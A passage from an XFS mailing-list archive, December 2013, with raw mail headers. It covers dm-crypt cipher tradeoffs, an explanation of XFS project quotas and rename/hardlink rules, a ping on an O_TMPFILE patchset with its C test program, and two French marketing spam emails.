scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143308 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 12/22/2013 04:18 AM, Stan Hoeppner wrote: > For the record, again, I've never used dm-crypt. I'm just trying to > work through the layers to identify the source of Kevin's problems. So > please don't clobber me too hard for going OT, or trying to speak > (somewhat) intelligently about something I'm just learning about... This stuff isn't easy. There are a lot of security-vs-speed tradeoffs, and kernel support varies by processor and architecture. Take this example from x86: # info from fdisk: /dev/sda5 8404992 10502143 1048576 83 Linux # cryptsetup status /dev/mapper/wCrypt /dev/mapper/wCrypt is active. type: LUKS1 cipher: aes-xts-essiv:sha256 keysize: 512 bits device: /dev/sda5 offset: 4096 sectors size: 2093056 sectors mode: read/write What this jibberish means from a speed standpoint is this: aes: had assembly speedups in the kernel; NIST approved; xts: almost as fast as cbc while being more secure; essiv: "plain" is faster, but essiv is more secure; sha256: it seemed like an ok hash; 512 bits: much slower than 256 or 128 bits, but hopefully more secure, fine for a small partition like this. A similar "cryptsetup status " from Kevin might help you benchmark things, and Kevin might explain his rationale without blowing his cover ;-) A `zcat /proc/config.gz` | grep CRYPTO` might help you see what kernel support he has as well. Dave's recent post about I/O latency with dm-crypt reads/writes might be the answer that you're seeking. I just wanted to put in my two cents. Good luck! Michael From david@fromorbit.com Sun Dec 22 19:42:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C62317F54 for ; Sun, 22 Dec 2013 19:42:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BCD56304051 for ; Sun, 22 Dec 2013 17:42:33 -0800 (PST) X-ASG-Debug-ID: 1387762947-04cbb041698b7620001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id DAga8f1zHRt8WXBH for ; Sun, 22 Dec 2013 17:42:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgKAKOUt1J5LHyk/2dsb2JhbABZDoJ9tHmFUYEVF3SCJQEBAQMBGA8THCgLCAMYCQwZDwUlAyEBEod8B8sVFxaOQlQKgxmBEwEDkxeEf5IVgm5TKIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Dec 2013 12:12:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VuuXG-0004m5-AA; Mon, 23 Dec 2013 12:42:22 +1100 Date: Mon, 23 Dec 2013 12:42:22 +1100 From: Dave Chinner To: linux-ext4@vger.kernel.org, Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com Subject: Re: [RFC] directory quota survey on xfs Message-ID: <20131223014222.GC3220@dastard> X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs References: <20131222095929.GA11444@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131222095929.GA11444@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1387762947 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143314 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 22, 2013 at 05:59:29PM +0800, Zheng Liu wrote: > Hi all, > > As discussed with ext4 folks, I will try to make ext4 file system support > directory quota (a.k.a., project id in xfs). Firstly, project quotas are not directory quotas. Project groups are simply an aggregation of unrelated inodes with a specific identifier (i.e. the project ID). Files accessable only to individual users can shared project ID and hence be accounted to the same quota, and hence accounting is independent of uid/gid. By themselves, project quotas cannot be used to implement direct subtree quotas - thay requires help from a special inode flag that is used on directory inodes: XFS_DIFLAG_PROJINHERIT This flag indicates that the directory and all inodes created in the directory inherit the project ID of the directory. Hence the act of creating a file in a XFS_DIFLAG_PROJINHERIT marked directory associates the new file with s a specific project group. New directories also get marked with XFS_DIFLAG_PROJINHERIT so the behaviour is propagated down the directory tree. Now, there is nothing to stop us from having files outside the inheritance subtree from also having the same project ID, and hence be accounted to the same project group. Indeed, you can have multiple sub-trees that all use the same project ID and hence are accounted together. e.g. a project has subdirs in various directories: /documentation/project_A /src/project_A /build/project_A /test/project_A ..... /home/bill/project_A /home/barry/project_A /home/benito/project_A /home/beryl/project_A ..... All of these directories can be set up with the same project ID and XFS_DIFLAG_PROJINHERIT flag, and hence all be accounted to the same project quota, despite being separate, disconnected subtrees. IOWs, project groups are an accounting mechanism associated with the inode's project ID, while XFS_DIFLAG_PROJINHERIT is a policy used to direct how project IDs are applied. > For keeping consistency > with xfs's implementation, I did some tests on xfs, and I summarized the > result as following. This will help us understand what we can do and > what we can't do. Please correct me if I miss doing some tests or mis- > understand something. > > I just do some tests about rename/hardlink because they are the key > issue from our discussion. > > + unaccounted dir > x accounted dir > > rename(mv) > ========== > > + -> +: ok > > + -> x: ok > > I use strace(1) to lookup which syscall is used, and I found that xfs > will return EXDEV when mv(1) tries to use rename(2) to move a dir from > a unaccounted dir to a accounted dir. Then mv uses creat(2)/read(2)/ > write(2) syscalls to move this dir. That's purely an implementation detail, designed to simplify the change of project ID for an inode. By forcing the new inode to be created from scratch under the destination's project ID, we don't have to care about whether rename needs to allocate or free source directory metadata, what anonymous metadata was accounted to the source project ID as the srouce file and directory was modified, etc. It's as simple as this: /* * If we are using project inheritance, we only allow renames * into our tree when the project IDs are the same; else the * tree quota mechanism would be circumvented. */ if (unlikely((target_dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && (xfs_get_projid(target_dp) != xfs_get_projid(src_ip)))) { error = XFS_ERROR(EXDEV); goto error_return; } It also documents the policy for accounting directory tree quotas: that quota is accounted for when moving *into* an accounted directory tree, not when moving out of a directory tree. > x -> +: wrong (design by feature?) > > If we move a dir from a accounted dir to a unaccounted dir, the quota is > still accounted. It seems that xfs don't remove project id from this > dir and its subdirs/files on this case. That's the way the directory tree policy was designed: it's designed to allow project quotas to account for individual files as well as subtrees. Remember: projects are not confined to a single subtree and directory tree accounting is done when moving *into* a controlled tree, not the other way around. > x -> x: ok > > Xfs returns EXDEV error when mv(1) uses rename(2) to move a dir from a > accounted dir to another accounted dir (These dirs have different > project ids). Then mv(1) uses creat(1)/read(1)/write(1) syscalls to > move this dir. > > summary: > rename + x > + ok ok (EXDEV) > x wrong ok (EXDEV) > > hardlink(ln) > ======== > > + -> +: ok > > + -> x: error > > Xfs also returns EXDEV error to forbid this operation. So that means > that we don't allow users to do a hardlink for a file from a unaccount > dir to a accounted dir. Of course - who do you account new changes to? It's the same problem as linking across directory trees with different project IDs.... > > x -> +: ok > > This operation can be executed and no any error is reported. After that > the quota doesn't be changed. When both of two hardlinks are removed, > the quota will be discharged. Consistent with the rename case - checking is done based on the destination directory - you can link out to an uncontrolled destination as the inode is still accounted to the project ID, but you can't link into a controlled destination with a different project ID. The check is identical to the one I quoted for rename above. > As always, any comment or idea are welcome. I'd suggest that you implement project quotas, not directory quotas. They are way more flexible than pure directory quotas, but with only a few lines of code and a special directory flag they can be used to implement directory subtree quotas.... I'd also strongly suggest that you use the XFS userspace quota API for managing project quotas, so that we can use the same management tools and tests to verify that they behave the same. Please don't invent a new version of the quota API to implement this - everything you need ifor managing project/directory quotas is already there in xfs_quota..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From zwu.kernel@gmail.com Sun Dec 22 19:45:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6F85F7F56 for ; Sun, 22 Dec 2013 19:45:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C6A7AC002 for ; Sun, 22 Dec 2013 17:45:58 -0800 (PST) X-ASG-Debug-ID: 1387763157-04bdf00fe01a2590001-NocioJ Received: from mail-ob0-f173.google.com (mail-ob0-f173.google.com [209.85.214.173]) by cuda.sgi.com with ESMTP id IBX5Zkqly71UDukw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 22 Dec 2013 17:45:57 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.173 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.173] Received: by mail-ob0-f173.google.com with SMTP id gq1so4880330obb.4 for ; Sun, 22 Dec 2013 17:45:57 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.173] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.173] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Sn5S8Wz/tYJst8dcP0Me2jcCS6kRMSyRvBkgaILfSZg=; b=al1XJrGffwyziNtRbj2mutYfVfLRZ3Nj6yXeIhHXcxsoLAjHFYasTDWDe5FgV9EVnu X/YiYngYsS0ls0IyQ3zRilcnvOUnRRVb6AYNv6LynQis5C3lVIRPF3zcFmYsgBXzuX/H FYQOIKWv3PPYR8dqlO6av8ja0Md+GQdfif5SpAVQQaxmhQFUG3NLanOFtQ8MG0Mea7/k M36KIGZA18nWFXhFIL30E1AIzz8Tabn9aHcgxob4anBR6O4AjA4+BrS1ozpOEkksWMzK dnxSWPrRhaz9ehf63C8ZRJ8/LefTIovxk92viDXnlJ+hoX8uycPe24PA7ufZB62+N+mD rJwg== MIME-Version: 1.0 X-Received: by 10.60.179.113 with SMTP id df17mr15833176oec.16.1387763156912; Sun, 22 Dec 2013 17:45:56 -0800 (PST) Received: by 10.182.248.201 with HTTP; Sun, 22 Dec 2013 17:45:56 -0800 (PST) In-Reply-To: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> Date: Mon, 23 Dec 2013 09:45:56 +0800 Message-ID: Subject: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support To: xfstests Cc: Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f173.google.com[209.85.214.173] X-Barracuda-Start-Time: 1387763157 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143314 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature ping? On Wed, Dec 18, 2013 at 8:22 AM, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > HI, folks > > It's time to post the latest revision out, welcome to any constructive comment, thanks. > > If anyone is interested in playing with it, you can get this patchset from my dev git on github: > git://github.com/wuzhy/kernel.git xfs_tmpfile > > The patchset was tested against the code snippet from Andy Lutomirski and other test cases: > http://lwn.net/Articles/562296/ > If you have any other better test cases, please let me know, thanks. > > #include > #include > #include > #include > #include > > #define __O_TMPFILE 020000000 > #define O_DIRECTORY 0200000 > #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) > #define AT_EMPTY_PATH 0x1000 > > int main(int argc, char **argv) > { > char buf[128]; > > if (argc != 3) > errx(1, "Usage: flinktest PATH linkat|proc"); > > int fd = open(".", O_TMPFILE | O_RDWR, 0600); > if (fd == -1) > err(1, "O_TMPFILE"); > else > printf("fd #: %d\n", fd); > > write(fd, "test", 4); > > if (!strcmp(argv[2], "linkat")) { > if (linkat(fd, "", AT_FDCWD, argv[1], AT_EMPTY_PATH) != 0) > err(1, "linkat"); > } else if (!strcmp(argv[2], "proc")) { > sprintf(buf, "/proc/self/fd/%d", fd); > if (linkat(AT_FDCWD, buf, AT_FDCWD, argv[1], AT_SYMLINK_FOLLOW) != 0) > err(1, "linkat"); > } else { > errx(1, "invalid mode"); > } > > return 0; > } > > Changelog from v1: > - Fixed one chunk of the comments from Christoph Hellwig and Jeff Liu. > > v1: > - Addressed the comments from Dave Chinner and Christoph Hellwig. > > Zhi Yong Wu (3): > xfs: factor prid related codes into xfs_get_initial_prid() > xfs: add O_TMPFILE support > xfs: allow linkat() on O_TMPFILE files > > fs/xfs/xfs_inode.c | 123 ++++++++++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_inode.h | 12 +++++ > fs/xfs/xfs_iops.c | 16 ++++++ > fs/xfs/xfs_shared.h | 4 +- > fs/xfs/xfs_symlink.c | 5 +-- > fs/xfs/xfs_trans_resv.c | 55 +++++++++++++++++++-- > fs/xfs/xfs_trans_resv.h | 2 + > 7 files changed, 202 insertions(+), 15 deletions(-) > > -- > 1.7.6.5 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Regards, Zhi Yong Wu From pam=news-zetrend.com@mlgnusa.com Sun Dec 22 22:53:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 77E437F57 for ; Sun, 22 Dec 2013 22:53:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 520DB304051 for ; Sun, 22 Dec 2013 20:53:17 -0800 (PST) X-ASG-Debug-ID: 1387774390-04cbb041688bc1e0001-NocioJ Received: from mail5.mlgnusa.com (mail5.mlgnusa.com [194.19.244.192]) by cuda.sgi.com with ESMTP id FHfCIbp0B0viDxGY for ; Sun, 22 Dec 2013 20:53:11 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.192 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=Pliv8ZKn96ci5wOKIN/pFAOnC0E=; b=tFF7t1JgnGY2m16U8fYU02VdHEsC1HQ5y0195bjJNPBctuw32jKwYrJmc+JWgYbmysC0025nXGl2 95o2ehAjyfqvpwTeA8F5bOtgF4jXtiI6dtPca1opKpQP86TwjURXgOFyZbQO42LhiH6uiO3UCcNt MkO4kR72dJv+p/3gAPg= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=utCvQdc66Kx0w10Lb9lNNaDZIuDIEiV9KMyIWIFxnw499HVG5f/6IaO5xXnxSTYuYoAtEu93K7gw oCpUb2NFXcOEnVYdCG8j6i6iGaPXpGCHkw+jWCzY3koE4D5i4W5dSx4YJUt4XM7j4wIYflgIxzmr wt+JnLQkTNXVRd7ref8=; Received: by mail5.mlgnusa.com id hmv0re1fblch for ; Mon, 23 Dec 2013 06:53:09 +0200 (envelope-from ) Date: Mon, 23 Dec 2013 04:07:39 +0200 To: From: Kookai par Nl-Promos Reply-To: Kookai par Nl-Promos Subject: =?utf-8?Q?D=C3=A9couvrez_les_indispensables_de_l'hiver?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?D=C3=A9couvrez_les_indispensables_de_l'hiver?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID7e125571d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.7e125571 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.7e125571 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=7e125571&e=d09c0023 List-Unsubscribe: , Sender: "Kookai par Nl-Promos" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_2c27abbb08dfbc35e7ffb3b389f2c64c" X-Barracuda-Connect: mail5.mlgnusa.com[194.19.244.192] X-Barracuda-Start-Time: 1387774390 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_2c27abbb08dfbc35e7ffb3b389f2c64c Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit KOOKAÏ : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/home.aspx?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/lookbook-hiver-2013/look1.htm?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/infos/marque.aspx?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/infos/stores.aspx?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/EDITIONS+LIMITEES/Les+indispensables+de+lhiver.htm?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires Kookaï vous livre le top 20 des pièces indispensables de votre dressing de l’hiver : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Manteau_et_blouson/P-duffle_coat_capuche_amovible-132a0995.htm?variantId=3603526416040(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Chemise_et_blouse/P-chemise_bicolore-132i1810.htm?variantId=3603526567445(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Robe/P-robe_en_crepe_souple-132p3001.htm?variantId=3603526459702(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Gilet/P-gilet_jacquard_fluo-132e1517.htm?variantId=3603526469084(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/Accessoires/Gants_et_chapeaux/P-gants_cuir_strass-13241228.htm?variantId=3603526377334(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/EDITIONS+LIMITEES/Les+indispensables+de+lhiver.htm?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Pantalon_et_jean/P-pantalon_crepe_souple-132t2517.htm?variantId=3603526328107(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/Chaussures/Bottes/P-bottes_a_talons-13270723.htm?variantId=3603526431999(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/mode/E+boutique/pret-a-porter/Jupe/P-jupe_chevron-132r2176.htm?variantId=3603526586354(KookaiMasterCatalog)&utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=https://www.facebook.com/kookai?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=http://www.kookai.fr/fr/infos/contact.aspx?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires : http://clk.tradedoubler.com/click?p=244043&a=2297610&g=21641166&url=https://twitter.com/KOOKAI_Fr?utm_source=dod&utm_medium=dod_eml&utm_campaign=Neezz&utm_content=accessoires ========================================== Ce courriel a été envoyé par Kookai par Nl-Promos à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=7e125571&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=7e125571&ln=fr --b1_2c27abbb08dfbc35e7ffb3b389f2c64c Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit KOOKAÏ
    kookaï
    e-boutique lookbook esprit kookaï nos boutiques
    indispensables de l'hiver
    Kookaï vous livre le top 20 des pièces indispensables
    de votre dressing de l’hiver
    duffle coat chemise bicolore robe en crêpe
    gilet jacquard fluo
    gants cuir strass
    Top 20
    pantalon en crêpe
    bottes à talons
    jupe chevron
    facebook paiement sécurisé livraison colissimo service client twitter
    Ce courriel a été envoyé par Kookai par Nl-Promos à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_2c27abbb08dfbc35e7ffb3b389f2c64c-- From pam=news-zetrend.com@mlgnusa.com Sun Dec 22 22:53:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 06D177F57 for ; Sun, 22 Dec 2013 22:53:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6E5A7AC003 for ; Sun, 22 Dec 2013 20:53:15 -0800 (PST) X-ASG-Debug-ID: 1387774390-04cbb041678bc1e0001-NocioJ Received: from mail2.mlgnusa.com (mail2.mlgnusa.com [194.19.244.189]) by cuda.sgi.com with ESMTP id PbOlrGjfY4BPfEHF for ; Sun, 22 Dec 2013 20:53:11 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.189 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=3kNX9d6dRqFlCmFbvhYjNRg25zE=; b=mLeA4VEf2laUJX18RoPXtoOQzXZuVhNnVRa2hlten2gysAihNw/JPepRuj3lgFl3ppEzkg8f8LHV rcNJWDxc8EkVatp8PJqOQ1mR4MnHrrTOEBL36pSu2V+sY3j9ajeznk1oMw4h+A+apqfUVd1lF1JW zbwpm53oNFl8FUONgNM= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=X367XbHRAR8MeMLqY0GC3ZXfls3OoEe1/aEvU5qrjSUDYFnp9PjQkfUomo+OMtAlZdHgj+2e9aJS L/OqMefa4b0m0f2alQZZpcv4SoA9A/clZKXx6YiXgNqh0OgE3WpZqaL721/PAh8CuEpsCjdiegmi qpkPM0DHjgiTOegqpaw=; Received: by mail2.mlgnusa.com id hmv0rg1fblcf for ; Mon, 23 Dec 2013 06:53:09 +0200 (envelope-from ) Date: Mon, 23 Dec 2013 05:45:54 +0200 To: From: Loi Duflot Reply-To: Loi Duflot Subject: =?utf-8?Q?0_euros_d'imp=C3=B4ts_pendant_9_ans_avec_la_Loi_Duflot?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?0_euros_d'imp=C3=B4ts_pendant_9_ans_avec_la_Loi_Duflot?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID1047ecfad09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.1047ecfa X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.1047ecfa X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=1047ecfa&e=d09c0023 List-Unsubscribe: , Sender: "Loi Duflot" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_1b1c6768d53b5d2f85aab45b91c96aac" X-Barracuda-Connect: mail2.mlgnusa.com[194.19.244.189] X-Barracuda-Start-Time: 1387774391 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_1b1c6768d53b5d2f85aab45b91c96aac Content-Type: text/plain; charset = "utf-8" 